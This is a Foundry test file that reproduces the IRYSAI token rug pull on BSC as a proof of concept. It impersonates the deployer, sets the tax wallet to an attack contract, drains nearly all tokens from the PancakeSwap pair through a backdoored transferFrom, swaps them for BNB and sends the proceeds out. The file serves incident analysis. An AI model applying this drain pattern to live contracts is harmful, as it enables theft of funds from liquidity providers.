src/test/2025-05/IRYSAI_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 69.6K USD
7// Attacker : 
8// Attack Contract : 
9// Vulnerable Contract : 
10// Backdoor Tx : https://bscscan.com/tx/0x8c637fc98ad84b922e6301c0b697167963eee53bbdc19665f5d122ae55234ca6
11// Rugpull Tx : https://bscscan.com/tx/0xe9a66bad8975f2a7b68c74992054c84d6d80ac4c543352e23bf23740b8858645
12 
13// @Info
14// Vulnerable Contract Code : 
15 
16// @Analysis
17// Post-mortem : https://x.com/TenArmorAlert/status/1925012844052975776
18// Twitter Guy : https://x.com/TenArmorAlert/status/1925012844052975776
19// Hacking God : N/A
20 
21address constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
22address constant PancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
23address constant IRYSAI = 0x746727FC8212ED49510a2cB81ab0486Ee6954444;
24address constant PancakePair = 0xeB703Ed8C1A3B1d7E8E29351A1fE5E625E2eFe04;
25address constant addr1 = 0xc4cE1E4A8Cd2Ba980646e855817252C7AA9C4AE8;
26address constant addr3 = 0x20bB82f7C5069c2588fa900eD438FEFD2Ae36827;
27 
28address constant addr2 = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
29 
30interface IPancakeRouter02 {
31    function factory() external view returns (address);
32    function WETH() external view returns (address);
33    function swapExactTokensForETHSupportingFeeOnTransferTokens(
34        uint amountIn,
35        uint amountOutMin,
36        address[] calldata path,
37        address to,
38        uint deadline
39    ) external;
40}
41 
42contract ContractTest is Test {
43    function setUp() public {
44        vm.createSelectFork("bsc", 49994891);
45    }
46    
47    function testPoC() public {
48        emit log_named_decimal_uint("before attack: balance of addr3", address(addr3).balance, 18);
49        vm.startPrank(addr1, addr1);
50        addr3C attC = new addr3C();
51        IIRYSAI(IRYSAI).setTaxWallet(address(attC));
52        vm.startPrank(addr3, addr3);
53        attC.burn();
54        vm.stopPrank();
55        emit log_named_decimal_uint("after attack: balance of addr3", address(addr3).balance, 18);
56    }
57}
58 
59// 0x6233a81BbEcb355059DA9983D9fC9dFB86D7119f
60contract addr3C {
61    receive() external payable {}
62 
63    function burn() public {
64        require(msg.sender == addr3, "only addr3");
65 
66        address factory = IPancakeRouter02(PancakeRouter).factory();
67        address weth = IPancakeRouter02(PancakeRouter).WETH();
68        address pair = IPancakeFactory(factory).getPair(IRYSAI, weth);
69        uint256 balPair = IIRYSAI(IRYSAI).balanceOf(pair);
70 
71        uint256 amount = balPair - (balPair / 10000);
72        IIRYSAI(IRYSAI).transferFrom(pair, address(this), amount);
73        IPancakePair(pair).sync();
74        uint256 balThis = IIRYSAI(IRYSAI).balanceOf(address(this));
75 
76        IERC20(IRYSAI).approve(PancakeRouter, type(uint256).max);
77 
78        address[] memory path = new address[](2);
79        path[0] = IRYSAI;
80        path[1] = addr2; // WBNB
81 
82        IPancakeRouter02(PancakeRouter).swapExactTokensForETHSupportingFeeOnTransferTokens(
83            balThis,
84            0,
85            path,
86            address(this),
87            block.timestamp
88        );
89 
90        (bool s, ) = payable(addr3).call{value: 107462996233504225783}("");
91        require(s, "transfer failed");
92    }
93  
94    fallback() external payable {}
95}
96 
97interface IPancakeFactory {
98	function getPair(address, address) external returns (address); 
99}
100interface IIRYSAI {
101    function setTaxWallet(address) external;
102	function transferFrom(address, address, uint256) external returns (bool);
103	function balanceOf(address) external returns (uint256); 
104}